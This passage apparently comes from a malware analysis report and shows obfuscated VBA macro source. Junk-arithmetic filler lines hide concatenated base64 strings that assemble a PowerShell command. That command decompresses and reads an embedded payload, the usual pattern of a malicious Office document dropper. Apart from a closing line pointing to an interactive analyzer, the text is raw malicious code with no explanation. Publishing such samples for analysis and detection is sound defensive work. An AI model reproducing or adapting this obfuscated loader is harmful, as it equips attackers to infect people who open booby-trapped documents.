tsSNA = "AByADMATwBa" + "AGMAKwBWAHI" + "ASgA0AFcA" + "TABYAEoA" + "UA" + "BaAE" + "cAZwBTADgAcA" + "BmAEEARQBlAFM"
JKvGUX = Tan(87413)
hdmsf = jOhRc
USLHtn = CDbl(BmcMW)
ZKwQTq = pYosoL
NQolf = Hex(Idqwo * ChrW(hHrcF + Int(PwGqk * Rnd(97920)) * ailvd * Log(37156 * ijBlw - jFmvTA + Fix(51))))
HJqwvj = Tan(51812)
hCkHQAs = "ATQBoAG0AbwA" + "yAE" + "wAV" + "wBDAFUATQBqAGU" + "AKwB"
NzWfp = Tan(46423)
mWhNi = dzFFi
lKLLX = CDbl(XFRomA)
stVmiG = SbSPN
VFiLk = Hex(RUpOBl * ChrW(vRSnzk + Int(SmcHLb * Rnd(98334)) * vJrvz * Log(31906 * SbFEt - ZCiUAi + Fix(51))))
sAoVf = Tan(60333)
khtBCXp = "uAC8AbQ" + "BiAFQASwBFAG0A" + "QQA0" + "AEIANgBSAFQA" + "OAB4ADAAaQB"
icWAIt = Tan(94117)
fXFoj = zrhtqz
jwnKwn = CDbl(uVWQSc)
qEFvAl = WHOMvi
JGcofu = Hex(ijqMFU * ChrW(KApVGA + Int(mczqN * Rnd(86483)) * qYzAJ * Log(68675 * Oubmhj - UPjuR + Fix(51))))
MGZro = Tan(57476)
vtsUqFz = "BAFI" + "AT" + "gBkAD" + "YARwA" + "zAHcAcwB1AEE" + "ASAB0A" + "EUARAB"
WiiwRC = Tan(72736)
KsLwkt = GNjYTz
NOvwX = CDbl(jzGLf)
OjPcUf = XJWXwj
QAMHPK = Hex(FRQDVi * ChrW(DLmAQk + Int(MqkOtY * Rnd(49462)) * qqzQv * Log(71123 * nwvVNJ - zZzBK + Fix(51))))
wkXhv = Tan(94298)
hBzts = "HAHAATwA0ADcAVw" + "BtA" + "HYAb" + "wBzAFcANQB" + "wAHcA" + "SgBsAE" + "kAaABZADcAWQBVA"
mUiNHJa = hYjtl + tsSNA + hCkHQAs + khtBCXp + vtsUqFz + hBzts
End Function
Function EjqhjW()
On Error Resume Next
JbtWl = Tan(24688)
bZFFiz = YnEvX
urKPr = CDbl(FJGTQ)
whZLF = jAMqZ
uSKzZ = Hex(SmYbIS * ChrW(iiXGn + Int(FpljS * Rnd(89533)) * ifLXJ * Log(7667 * qVYDG - KAivXY + Fix(51))))
vauMt = Tan(47541)
LspvXYu = "GsAbABHAH" + "UAWQBpAGM" + "AZAA4AC8ASgA3" + "AFoAKwAyAFAAbgB" + "jAFkARgBCAG4AKw" + "AxA"
UfIjs = Tan(9382)
OnaAS = AZJFT
DKELp = CDbl(unRHk)
dkhzLM = LBXwND
ETGVRo = Hex(tVMPTT * ChrW(wRvGD + Int(XiXDOw * Rnd(31340)) * wjOrH * Log(89120 * ajvpw - kPVir + Fix(51))))
SNkcpK = Tan(52055)
KQRLCVtJki = "GoAWgBrAFUAVg" + "BBAEkANgArA" + "GYAQgB0ADUAY" + "gBWADA" + "AZgA" + "xAHY" + "ANQBBADAAeQAzAE" + "oARwB" + "JAG0AWgBhAG4"
WwCHU = Tan(46638)
uozXMZ = XkzQG
mSBVW = CDbl(ztOEY)
jWliio = XSqaX
fTDqz = Hex(YDDlDu * ChrW(lQasfk + Int(qfCdt * Rnd(12596)) * vjEvs * Log(57332 * qltDP - zidlij + Fix(51))))
DEzaKq = Tan(96562)
oSGmkn = "AWQBuAEwAcABFA" + "C8AagBOAG" + "YAcgA4AEoALwB" + "qAEoAQwBCAFkAS" + "ABjAHMAUABoA" + "EkANgBLAFgARQBs" + "ADAA" + "VwB6AG"
AQazs = Tan(34476)
UwpLQW = fjpQIa
CRvJK = CDbl(qlilB)
rqUTGW = WJivW
ZJZQk = Hex(hYHzwi * ChrW(iKmiTE + Int(lfDKM * Rnd(67024)) * wDCXVY * Log(82170 * wRVtqT - jsVpS + Fix(51))))
zjbKrN = Tan(64465)
ZYtEjYkJ = "cAYgBFAG" + "UAdABUAHQANgBk" + "ADYAZ" + "QBD" + "AFg" + "Aeg" + "BuAGgAdwB"
FPDCAj = Tan(39172)
ZcFwz = VNaNp
wKoXQG = CDbl(UbNiLJ)
sCRrqk = fStjVq
OOkiYD = Hex(uajltj * ChrW(dMwun + Int(TTviW * Rnd(8499)) * QrvouQ * Log(23306 * NdAmF - zblGzB + Fix(51))))
BGuoik = Tan(38548)
EEoSfiLc = "nAE8A" + "ZwBjAG4A" + "VgA2AFYAOAAr" + "ADM"
SCHTMj = Tan(5979)
rrdXuQ = wIiLVr
cZDEO = CDbl(AALjsJ)
bsTsOu = tOTdrl
wjAYw = Hex(HahQI * ChrW(Rirfw + Int(lVHFpp * Rnd(94595)) * vQNFZM * Log(56253 * ETLHt - mBLCk + Fix(51))))
cRBiWw = Tan(12647)
hLkBcR = "AMwB0A" + "EgAcwByAEgA" + "WgB0ADYAU" + "wBTAFMAdwBZAEQ" + "AZgBz" + "AG8AbQB2AHg"
PrrKb = Tan(45829)
qMcrw = DaXUpm
iGumFA = CDbl(iOfibF)
wMcAj = zvoiL
JYqdOh = Hex(bhJzE * ChrW(bacch + Int(PqbFNv * Rnd(36857)) * QhmSL * Log(52404 * rYokQ - PifpP + Fix(51))))
vFvUT = Tan(14499)
wXlqs = "AbQBEAGYAagAwA" + "EgAegBLA" + "E8AaQB" + "vAHkAeQArAFYAWQ" + "B1" + "AEwAawBtAD" + "UAVgBx" + "AHQ" + "AVQB"
EjqhjW = LspvXYu + KQRLCVtJki + oSGmkn + ZYtEjYkJ + EEoSfiLc + hLkBcR + wXlqs
End Function
Function zoVYabd()
On Error Resume Next
vwhTci = Tan(90978)
vtvqm = nkBorQ
AMvQwY = CDbl(DUMSK)
fUJFL = VbTkk
duHVuj = Hex(rzvkmC * ChrW(KXVbhc + Int(QwSavc * Rnd(78155)) * QjbLSV * Log(57970 * iafqT - jjWDh + Fix(51))))
zGsDHR = Tan(23342)
nHFcwzpOr = "xADQ" + "AYQA0AEwAWA" + "B6AE4ASABrAD" + "UANQBDA"
ouzDnw = Tan(64340)
JajIf = nABmN
OjDruw = CDbl(KoYDBJ)
bobcCX = UawUZM
SrBVES = Hex(FqHJrw * ChrW(alWiz + Int(jzZZjp * Rnd(6399)) * IHXVjG * Log(83539 * WiwqAV - TSKYSt + Fix(51))))
alaOKT = Tan(34029)
vSXwEbhSz = "EQAWABkAFM" + "AT" + "QBsAEkA" + "VgBm" + "AEUALwB" + "yAF" + "QATgBlAGEAaw" + "Ax"
lOPowi = Tan(68586)
IsfiOo = IzKAGG
RkzTh = CDbl(uUwXiu)
hbMYPj = CjnPal
SRzSLV = Hex(ziodB * ChrW(tnvIzU + Int(DhkllW * Rnd(54140)) * lzksv * Log(73437 * DwETZk - wXvOmk + Fix(51))))
kiQGu = Tan(92310)
WGuIjEihS = "AGQAdwBvADUA" + "MgBPADUATQ" + "BwAG" + "MA" + "QgA0AFcATABE" + "ADYAbwBx" + "ADEAQwBJAGkAU"
jOhptp = Tan(23240)
EkFLRj = DjuHTk
qWjrH = CDbl(STmBq)
WiXijv = OTLIa
fmbjL = Hex(cATYKF * ChrW(hLOkz + Int(VZMPf * Rnd(3375)) * LuVti * Log(27209 * XcOqk - NNrDKM + Fix(51))))
iOMAi = Tan(25571)
EazZwcBjd = "QA1AEsAUwB2AHU" + "ATQ" + "BOADMAc" + "wB6AHEASgB" + "wAFUAMgBrA" + "FoASw" + "BSAGEAMABSAFE" + "AUgBuAGw" + "ARQA2AFUAaAAw" + "AGIAZwB"
FtSWv = Tan(65776)
biiZtw = iEzXAW
HiJFTc = CDbl(zhVLRJ)
dKrvB = mfMiRQ
zJPciq = Hex(zKJRc * ChrW(MdAIO + Int(msAuGc * Rnd(97434)) * EcWfnC * Log(98934 * oStdbw - SAaSw + Fix(51))))
IfDPp = Tan(57224)
DiYAV = "2AEYAQw" + "A4AEoA" + "cQBlAEoAUgBkAG" + "MAegBIAHIAQQAwA" + "FMAaABXAEgATAB"
wOIzjz = Tan(17195)
oddZG = phPkAq
htjKCa = CDbl(zSPzYP)
ZJutdn = iXwspr
zofpn = Hex(QVcpjX * ChrW(YVOjA + Int(oPXUrW * Rnd(6619)) * DWjRM * Log(68046 * zdkIlS - EjFMG + Fix(51))))
LIIQrw = Tan(4626)
tYGpCj = "EAHUALwB1AHIAN" + "gBaAHMASABUADM" + "AbgBDAEU" + "AUA" + "BkAH" + "oAb"
ZTnSj = Tan(87410)
wsXUn = YriXPY
LqPiQ = CDbl(ruNTZN)
baJwpC = HFohs
snQis = Hex(ajriEJ * ChrW(HBTkZ + Int(GGHwih * Rnd(65654)) * ALFCi * Log(73386 * kDdjbz - zjrFmo + Fix(51))))
WoVOkl = Tan(21478)
mMwptsicIWU = "wBWAEMASwBWAFEA" + "WgBVAGkAc" + "wBM" + "ADkAcgBLAE8AU" + "wBRAG8AbA" + "BLAFEARABV" + "ADgA" + "RABtADQATwA3AD"
zoVYabd = nHFcwzpOr + vSXwEbhSz + WGuIjEihS + EazZwcBjd + DiYAV + tYGpCj + mMwptsicIWU
End Function
Function iDMhoEEf()
On Error Resume Next
piwKPa = Tan(44824)
fWXCWw = BwATIX
cuuSd = CDbl(kozAn)
OvmQiN = zLjPlY
zUQjR = Hex(NjFBQ * ChrW(wABrYW + Int(XjuOh * Rnd(34617)) * iavtf * Log(17104 * EXQXOi - lfpkAl + Fix(51))))
avTKt = Tan(42439)
PkfTKWP = "MAU" + "AB3AD0APQAnACA" + "AKQAsA" + "CAAW" + "wBJAE8AL"
oFFjR = Tan(23116)
mnMWH = sclUK
dlEEdj = CDbl(pHibil)
tPSKow = RwrcN
iXwJzA = Hex(sOkAb * ChrW(kWMIM + Int(kUJdJb * Rnd(61758)) * QMmNc * Log(30553 * wRJVbi - uifSil + Fix(51))))
AFqiz = Tan(55755)
qzbRKmuYN = "gBDAG" + "8AT" + "QBQAFIARQBzAF" + "MAS" + "QBP" + "AG4A" + "LgBjAE8AbQBQ" + "AFIARQBTA" + "HMAaQBvAG" + "4ATQBPAGQARQB"
YuoiT = Tan(74123)
jcWYLP = FCmlvE
izrsuC = CDbl(Gvjcm)
aWVnI = rOCIuW
ZvDDt = Hex(Ywtzz * ChrW(YjXZjn + Int(ZBLijz * Rnd(56040)) * MLcowV * Log(48404 * VDspYO - jZYzj + Fix(51))))
UoVVz = Tan(95795)
PVuIObZHQa = "dADoAOgBkAGUAQw" + "BPAG0AUABSAG" + "UAUwBzACAAKQA" + "gA" + "HwAIABmAE8Acg" + "BlAEEAQwBIAC" + "0ATwBC" + "AEoAZQBDAF" + "QAIAB7AG4AR" + "QBXAC0"
NMWDQ = Tan(8342)
mRIAT = GCWozW
lfIIC = CDbl(nsXGTz)
EPIjo = UCcPR
ijFRR = Hex(YcnjiE * ChrW(BWQTP + Int(pCvuq * Rnd(87919)) * AXBIIQ * Log(83172 * YJiaFZ - UkVhES + Fix(51))))
DEiNEc = Tan(41326)
IMKSlGXJ = "ATwBCAEoAZQB" + "DAHQAIAAgAHMAeQ" + "BTAHQARQBt" + "AC4Aa" + "QBPAC4AUwB0A"
oOYbhB = Tan(52105)
aSMddM = tJluhK
JpXNT = CDbl(avLPPp)
TCirt = GuPrpJ
VoEShn = Hex(PFiET * ChrW(dEfGzO + Int(rOqftB * Rnd(76214)) * itzhE * Log(54895 * lqshbR - OTaXL + Fix(51))))
CPItb = Tan(41848)
GXuSlKw = "HIA" + "RQBBAE0Acg" + "BFAGEARABlA" + "HIAKAAgACQ" + "AXwAgACwAIAB" + "bAFQAZQB" + "4AF" + "QALg" + "BFAE4AYw" + "BPAEQAaQBOAE"
HwZYjA = Tan(38127)
MlWPEB = oNQmV
AWFWpX = CDbl(PkEGi)
UnRTBa = VCiDIG
jaudo = Hex(OHbUC * ChrW(dSVbjP + Int(chfWuO * Rnd(23326)) * QwoBN * Log(66967 * RopaS - OMLzQL + Fix(51))))
fzaBnb = Tan(58688)
VKZBInXH = "cAXQA6ADoAYQB" + "TA" + "EMASQBpACAAKQ" + "AgAH0AI"
EDAOcc = Tan(96140)
nSpHU = jlGzw
UTZdD = CDbl(rQXmN)
EaNkpM = FQDYfb
cfTov = Hex(dQNkiW * ChrW(NlhlB + Int(DDumv * Rnd(93759)) * IswQvu * Log(4096 * lLziqY - oNdGS + Fix(51))))
cUiRX = Tan(50892)
srCZjFcop = "AApAC4AcgBFAEE" + "ARAB0AG" + "8AZQBOAGQ" + "AKAAgAC" + "kA"
iDMhoEEf = PkfTKWP + qzbRKmuYN + PVuIObZHQa + IMKSlGXJ + GXuSlKw + VKZBInXH + srCZjFcop
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.